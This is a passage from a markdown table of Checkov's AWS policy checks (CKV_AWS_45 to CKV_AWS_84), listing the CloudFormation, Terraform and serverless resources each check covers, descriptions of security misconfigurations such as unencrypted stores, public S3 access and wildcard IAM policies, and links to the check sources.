|\n|  253 | CKV_AWS_45               | resource                         | AWS::Serverless::Function                                                                        | Ensure no hard-coded secrets exist in Lambda environment                                                                                                                                                 | Cloudformation          | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py)                                                                  |\n|  254 | CKV_AWS_45               | resource                         | aws_lambda_function                                                                              | Ensure no hard-coded secrets exist in lambda environment                                                                                                                                                 | Terraform               | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaEnvironmentCredentials.py)                                                                       |\n|  255 | CKV_AWS_46               | resource                         | AWS::EC2::Instance                                                                               | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Cloudformation          | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2Credentials.py)                                                                                              |\n|  256 | CKV_AWS_46               | resource                         | aws_instance                                                                                     | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Terraform               | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py)                                                                                                   |\n|  257 | CKV_AWS_46               | resource                         | aws_launch_configuration                                                                         | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Terraform               | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py)                                                                                                   |\n|  258 | CKV_AWS_46               | resource                         | aws_launch_template                                                                              | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Terraform               | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py)                                                                                                   |\n|  259 | CKV_AWS_47               | resource                         | AWS::DAX::Cluster                                                                                | Ensure DAX is encrypted at rest (default is unencrypted)                                                                                                                                                 | Cloudformation          | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DAXEncryption.py)                                                                                                |\n|  260 | CKV_AWS_47               | resource                         | aws_dax_cluster                                                                                  | Ensure DAX is encrypted at rest (default is unencrypted)                                                                                                                                                 | Terraform               | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DAXEncryption.py)                                                                                                     |\n|  261 | CKV_AWS_48               | resource                         | aws_mq_broker                                                                                    | Ensure MQ Broker logging is enabled                                                                                                                                                                      | Terraform               | [MQBrokerLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerLogging.py)                                                                                                 |\n|  262 | CKV_AWS_49               | data                             | aws_iam_policy_document                                                                          | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform               | [StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py)                                                                                   |\n|  263 | CKV_AWS_49               | resource                         | serverless_aws                                                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | serverless              | [StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/StarActionPolicyDocument.py)                                                                              |\n|  264 | CKV_AWS_50               | resource                         | aws_lambda_function                                                                              | X-Ray tracing is enabled for Lambda                                                                                                                                                                      | Terraform               | [LambdaXrayEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py)                                                                                             |\n|  265 | CKV_AWS_51               | resource                         | AWS::ECR::Repository                                                                             | Ensure ECR Image Tags are immutable                                                                                                                                                                      | Cloudformation          | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImmutableTags.py)                                                                                          |\n|  266 | CKV_AWS_51               | resource                         | aws_ecr_repository                                                                               | Ensure ECR Image Tags are immutable                                                                                                                                                                      | Terraform               | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRImmutableTags.py)                                                                                               |\n|  267 | CKV_AWS_53               | resource                         | AWS::S3::Bucket                                                                                  | Ensure S3 bucket has block public ACLs enabled                                                                                                                                                           | Cloudformation          | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicACLs.py)                                                                                        |\n|  268 | CKV_AWS_53               | resource                         | aws_s3_bucket_public_access_block                                                                | Ensure S3 bucket has block public ACLS enabled                                                                                                                                                           | Terraform               | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BlockPublicACLs.py)                                                                                             |\n|  269 | CKV_AWS_54               | resource                         | AWS::S3::Bucket                                                                                  | Ensure S3 bucket has block public policy enabled                                                                                                                                                         | Cloudformation          | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicPolicy.py)                                                                                    |\n|  270 | CKV_AWS_54               | resource                         | aws_s3_bucket_public_access_block                                                                | Ensure S3 bucket has block public policy enabled                                                                                                                                                         | Terraform               | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BlockPublicPolicy.py)                                                                                         |\n|  271 | CKV_AWS_55               | resource                         | AWS::S3::Bucket                                                                                  | Ensure S3 bucket has ignore public ACLs enabled                                                                                                                                                          | Cloudformation          | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3IgnorePublicACLs.py)                                                                                      |\n|  272 | CKV_AWS_55               | resource                         | aws_s3_bucket_public_access_block                                                                | Ensure S3 bucket has ignore public ACLs enabled                                                                                                                                                          | Terraform               | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3IgnorePublicACLs.py)                                                                                           |\n|  273 | CKV_AWS_56               | resource                         | AWS::S3::Bucket                                                                                  | Ensure S3 bucket has RestrictPublicBuckets enabled                                                                                                                                                       | Cloudformation          | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3RestrictPublicBuckets.py)                                                                            |\n|  274 | CKV_AWS_56               | resource                         | aws_s3_bucket_public_access_block                                                                | Ensure S3 bucket has 'restrict_public_buckets' enabled                                                                                                                                                   | Terraform               | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3RestrictPublicBuckets.py)                                                                                 |\n|  275 | CKV_AWS_57               | resource                         | AWS::S3::Bucket                                                                                  | Ensure the S3 bucket does not allow WRITE permissions to everyone                                                                                                                                        | Cloudformation          | [S3PublicACLWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLWrite.py)                                                                                          |\n|  276 | CKV_AWS_57               | resource                         | aws_s3_bucket                                                                                    | S3 Bucket has an ACL defined which allows public WRITE access.                                                                                                                                           | Terraform               | [S3PublicACLWrite.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml)                                                                                       |\n|  277 | CKV_AWS_57               | resource                         | aws_s3_bucket_acl                                                                                | S3 Bucket has an ACL defined which allows public WRITE access.                                                                                                                                           | Terraform               | [S3PublicACLWrite.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml)                                                                                       |\n|  278 | CKV_AWS_58               | resource                         | AWS::EKS::Cluster                                                                                | Ensure EKS Cluster has Secrets Encryption Enabled                                                                                                                                                        | Cloudformation          | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSSecretsEncryption.py)                                                                                  |\n|  279 | CKV_AWS_58               | resource                         | aws_eks_cluster                                                                                  | Ensure EKS Cluster has Secrets Encryption Enabled                                                                                                                                                        | Terraform               | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSSecretsEncryption.py)                                                                                       |\n|  280 | CKV_AWS_59               | resource                         | AWS::ApiGateway::Method                                                                          | Ensure there is no open access to back-end resources through API                                                                                                                                         | Cloudformation          | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAuthorization.py)                                                                            |\n|  281 | CKV_AWS_59               | resource                         | aws_api_gateway_method                                                                           | Ensure there is no open access to back-end resources through API                                                                                                                                         | Terraform               | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAuthorization.py)                                                                                 |\n|  282 | CKV_AWS_60               | resource                         | AWS::IAM::Role                                                                                   | Ensure IAM role allows only specific services or principals to assume it                                                                                                                                 | Cloudformation          | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowsPublicAssume.py)                                                                        |\n|  283 | CKV_AWS_60               | resource                         | aws_iam_role                                                                                     | Ensure IAM role allows only specific services or principals to assume it                                                                                                                                 | Terraform               | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMRoleAllowsPublicAssume.py)                                                                             |\n|  284 | CKV_AWS_61               | resource                         | AWS::IAM::Role                                                                                   | Ensure AWS IAM policy does not allow assume role permission across all services                                                                                                                          | Cloudformation          | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py)                                                                |\n|  285 | CKV_AWS_61               | resource                         | aws_iam_role                                                                                     | Ensure AWS IAM policy does not allow assume role permission across all services                                                                                                                          | Terraform               | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py)                                                                     |\n|  286 | CKV_AWS_62               | resource                         | AWS::IAM::Group                                                                                  | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation          | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                              |\n|  287 | CKV_AWS_62               | resource                         | AWS::IAM::Policy                                                                                 | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation          | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                              |\n|  288 | CKV_AWS_62               | resource                         | AWS::IAM::Role                                                                                   | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation          | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                              |\n|  289 | CKV_AWS_62               | resource                         | AWS::IAM::User                                                                                   | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation          | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                              |\n|  290 | CKV_AWS_62               | resource                         | aws_iam_group_policy                                                                             | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform               | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  291 | CKV_AWS_62               | resource                         | aws_iam_policy                                                                                   | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform               | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  292 | CKV_AWS_62               | resource                         | aws_iam_role_policy                                                                              | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform               | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  293 | CKV_AWS_62               | resource                         | aws_iam_user_policy                                                                              | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform               | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  294 | CKV_AWS_62               | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform               | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  295 | CKV_AWS_63               | resource                         | AWS::IAM::Group                                                                                  | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation          | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                    |\n|  296 | CKV_AWS_63               | resource                         | AWS::IAM::Policy                                                                                 | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation          | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                    |\n|  297 | CKV_AWS_63               | resource                         | AWS::IAM::Role                                                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation          | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                    |\n|  298 | CKV_AWS_63               | resource                         | AWS::IAM::User                                                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation          | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                    |\n|  299 | CKV_AWS_63               | resource                         | aws_iam_group_policy                                                                             | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform               | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  300 | CKV_AWS_63               | resource                         | aws_iam_policy                                                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform               | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  301 | CKV_AWS_63               | resource                         | aws_iam_role_policy                                                                              | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform               | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  302 | CKV_AWS_63               | resource                         | aws_iam_user_policy                                                                              | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform               | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  303 | CKV_AWS_63               | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform               | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  304 | CKV_AWS_64               | resource                         | AWS::Redshift::Cluster                                                                           | Ensure all data stored in the Redshift cluster is securely encrypted at rest                                                                                                                             | Cloudformation          | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterEncryption.py)                                                                        |\n|  305 | CKV_AWS_64               | resource                         | aws_redshift_cluster                                                                             | Ensure all data stored in the Redshift cluster is securely encrypted at rest                                                                                                                             | Terraform               | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterEncryption.py)                                                                             |\n|  306 | CKV_AWS_65               | resource                         | AWS::ECS::Cluster                                                                                | Ensure container insights are enabled on ECS cluster                                                                                                                                                     | Cloudformation          | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSClusterContainerInsights.py)                                                                    |\n|  307 | CKV_AWS_65               | resource                         | aws_ecs_cluster                                                                                  | Ensure container insights are enabled on ECS cluster                                                                                                                                                     | Terraform               | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterContainerInsights.py)                                                                         |\n|  308 | CKV_AWS_66               | resource                         | AWS::Logs::LogGroup                                                                              | Ensure that CloudWatch Log Group specifies retention days                                                                                                                                                | Cloudformation          | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupRetention.py)                                                                    |\n|  309 | CKV_AWS_66               | resource                         | aws_cloudwatch_log_group                                                                         | Ensure that CloudWatch Log Group specifies retention days                                                                                                                                                | Terraform               | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetention.py)                                                                         |\n|  310 | CKV_AWS_67               | resource                         | AWS::CloudTrail::Trail                                                                           | Ensure CloudTrail is enabled in all Regions                                                                                                                                                              | Cloudformation          | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailMultiRegion.py)                                                                                |\n|  311 | CKV_AWS_67               | resource                         | aws_cloudtrail                                                                                   | Ensure CloudTrail is enabled in all Regions                                                                                                                                                              | Terraform               | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailMultiRegion.py)                                                                                     |\n|  312 | CKV_AWS_68               | resource                         | AWS::CloudFront::Distribution                                                                    | CloudFront Distribution should have WAF enabled                                                                                                                                                          | Cloudformation          | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFEnabled.py)                                                                                                      |\n|  313 | CKV_AWS_68               | resource                         | aws_cloudfront_distribution                                                                      | CloudFront Distribution should have WAF enabled                                                                                                                                                          | Terraform               | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFEnabled.py)                                                                                                           |\n|  314 | CKV_AWS_69               | resource                         | AWS::AmazonMQ::Broker                                                                            | Ensure Amazon MQ Broker should not have public access                                                                                                                                                    | Cloudformation          | [AmazonMQBrokerPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AmazonMQBrokerPublicAccess.py)                                                                      |\n|  315 | CKV_AWS_69               | resource                         | aws_mq_broker                                                                                    | Ensure MQ Broker is not publicly exposed                                                                                                                                                                 | Terraform               | [MQBrokerNotPubliclyExposed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerNotPubliclyExposed.py)                                                                           |\n|  316 | CKV_AWS_70               | resource                         | aws_s3_bucket                                                                                    | Ensure S3 bucket does not allow an action with any Principal                                                                                                                                             | Terraform               | [S3AllowsAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py)                                                                                       |\n|  317 | CKV_AWS_70               | resource                         | aws_s3_bucket_policy                                                                             | Ensure S3 bucket does not allow an action with any Principal                                                                                                                                             | Terraform               | [S3AllowsAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py)                                                                                       |\n|  318 | CKV_AWS_71               | resource                         | AWS::Redshift::Cluster                                                                           | Ensure Redshift Cluster logging is enabled                                                                                                                                                               | Cloudformation          | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterLogging.py)                                                                              |\n|  319 | CKV_AWS_71               | resource                         | aws_redshift_cluster                                                                             | Ensure Redshift Cluster logging is enabled                                                                                                                                                               | Terraform               | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterLogging.py)                                                                                   |\n|  320 | CKV_AWS_72               | resource                         | aws_sqs_queue_policy                                                                             | Ensure SQS policy does not allow ALL (*) actions.                                                                                                                                                        | Terraform               | [SQSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSPolicy.py)                                                                                                             |\n|  321 | CKV_AWS_73               | resource                         | AWS::ApiGateway::Stage                                                                           | Ensure API Gateway has X-Ray Tracing enabled                                                                                                                                                             | Cloudformation          | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py)                                                                                              |\n|  322 | CKV_AWS_73               | resource                         | AWS::Serverless::Api                                                                             | Ensure API Gateway has X-Ray Tracing enabled                                                                                                                                                             | Cloudformation          | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py)                                                                                              |\n|  323 | CKV_AWS_73               | resource                         | aws_api_gateway_stage                                                                            | Ensure API Gateway has X-Ray Tracing enabled                                                                                                                                                             | Terraform               | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayXray.py)                                                                                                   |\n|  324 | CKV_AWS_74               | resource                         | AWS::DocDB::DBCluster                                                                            | Ensure DocumentDB is encrypted at rest (default is unencrypted)                                                                                                                                          | Cloudformation          | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBEncryption.py)                                                                                            |\n|  325 | CKV_AWS_74               | resource                         | aws_docdb_cluster                                                                                | Ensure DocumentDB is encrypted at rest (default is unencrypted)                                                                                                                                          | Terraform               | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBEncryption.py)                                                                                                 |\n|  326 | CKV_AWS_75               | resource                         | aws_globalaccelerator_accelerator                                                                | Ensure Global Accelerator accelerator has flow logs enabled                                                                                                                                              | Terraform               | [GlobalAcceleratorAcceleratorFlowLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py)                                                       |\n|  327 | CKV_AWS_76               | resource                         | AWS::ApiGateway::Stage                                                                           | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Cloudformation          | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py)                                                                            |\n|  328 | CKV_AWS_76               | resource                         | AWS::Serverless::Api                                                                             | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Cloudformation          | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py)                                                                            |\n|  329 | CKV_AWS_76               | resource                         | aws_api_gateway_stage                                                                            | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Terraform               | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py)                                                                                 |\n|  330 | CKV_AWS_76               | resource                         | aws_apigatewayv2_stage                                                                           | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Terraform               | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py)                                                                                 |\n|  331 | CKV_AWS_77               | resource                         | aws_athena_database                                                                              | Ensure Athena Database is encrypted at rest (default is unencrypted)                                                                                                                                     | Terraform               | [AthenaDatabaseEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaDatabaseEncryption.py)                                                                               |\n|  332 | CKV_AWS_78               | resource                         | AWS::CodeBuild::Project                                                                          | Ensure that CodeBuild Project encryption is not disabled                                                                                                                                                 | Cloudformation          | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CodeBuildProjectEncryption.py)                                                                      |\n|  333 | CKV_AWS_78               | resource                         | aws_codebuild_project                                                                            | Ensure that CodeBuild Project encryption is not disabled                                                                                                                                                 | Terraform               | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeBuildProjectEncryption.py)                                                                           |\n|  334 | CKV_AWS_79               | resource                         | AWS::EC2::LaunchTemplate                                                                         | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Cloudformation          | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IMDSv1Disabled.py)                                                                                              |\n|  335 | CKV_AWS_79               | resource                         | aws_instance                                                                                     | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Terraform               | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py)                                                                                                   |\n|  336 | CKV_AWS_79               | resource                         | aws_launch_configuration                                                                         | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Terraform               | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py)                                                                                                   |\n|  337 | CKV_AWS_79               | resource                         | aws_launch_template                                                                              | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Terraform               | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py)                                                                                                   |\n|  338 | CKV_AWS_80               | resource                         | AWS::MSK::Cluster                                                                                | Ensure MSK Cluster logging is enabled                                                                                                                                                                    | Cloudformation          | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterLogging.py)                                                                                        |\n|  339 | CKV_AWS_80               | resource                         | aws_msk_cluster                                                                                  | Ensure MSK Cluster logging is enabled                                                                                                                                                                    | Terraform               | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterLogging.py)                                                                                             |\n|  340 | CKV_AWS_81               | resource                         | AWS::MSK::Cluster                                                                                | Ensure MSK Cluster encryption in rest and transit is enabled                                                                                                                                             | Cloudformation          | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterEncryption.py)                                                                                  |\n|  341 | CKV_AWS_81               | resource                         | aws_msk_cluster                                                                                  | Ensure MSK Cluster encryption in rest and transit is enabled                                                                                                                                             | Terraform               | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterEncryption.py)                                                                                       |\n|  342 | CKV_AWS_82               | resource                         | AWS::Athena::WorkGroup                                                                           | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption                                                                                                              | Cloudformation          | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AthenaWorkgroupConfiguration.py)                                                                  |\n|  343 | CKV_AWS_82               | resource                         | aws_athena_workgroup                                                                             | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption                                                                                                              | Terraform               | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaWorkgroupConfiguration.py)                                                                       |\n|  344 | CKV_AWS_83               | resource                         | AWS::Elasticsearch::Domain                                                                       | Ensure Elasticsearch Domain enforces HTTPS                                                                                                                                                               | Cloudformation          | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py)                                                            |\n|  345 | CKV_AWS_83               | resource                         | aws_elasticsearch_domain                                                                         | Ensure Elasticsearch Domain enforces HTTPS                                                                                                                                                               | Terraform               | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py)                                                                 |\n|  346 | CKV_AWS_83               | resource                         | aws_opensearch_domain                                                                            | Ensure Elasticsearch Domain enforces HTTPS                                                                                                                                                               | Terraform               | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py)                                                                 |\n|  347 | CKV_AWS_84               | resource                         | AWS::Elasticsearch::Domain                                                                       | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | 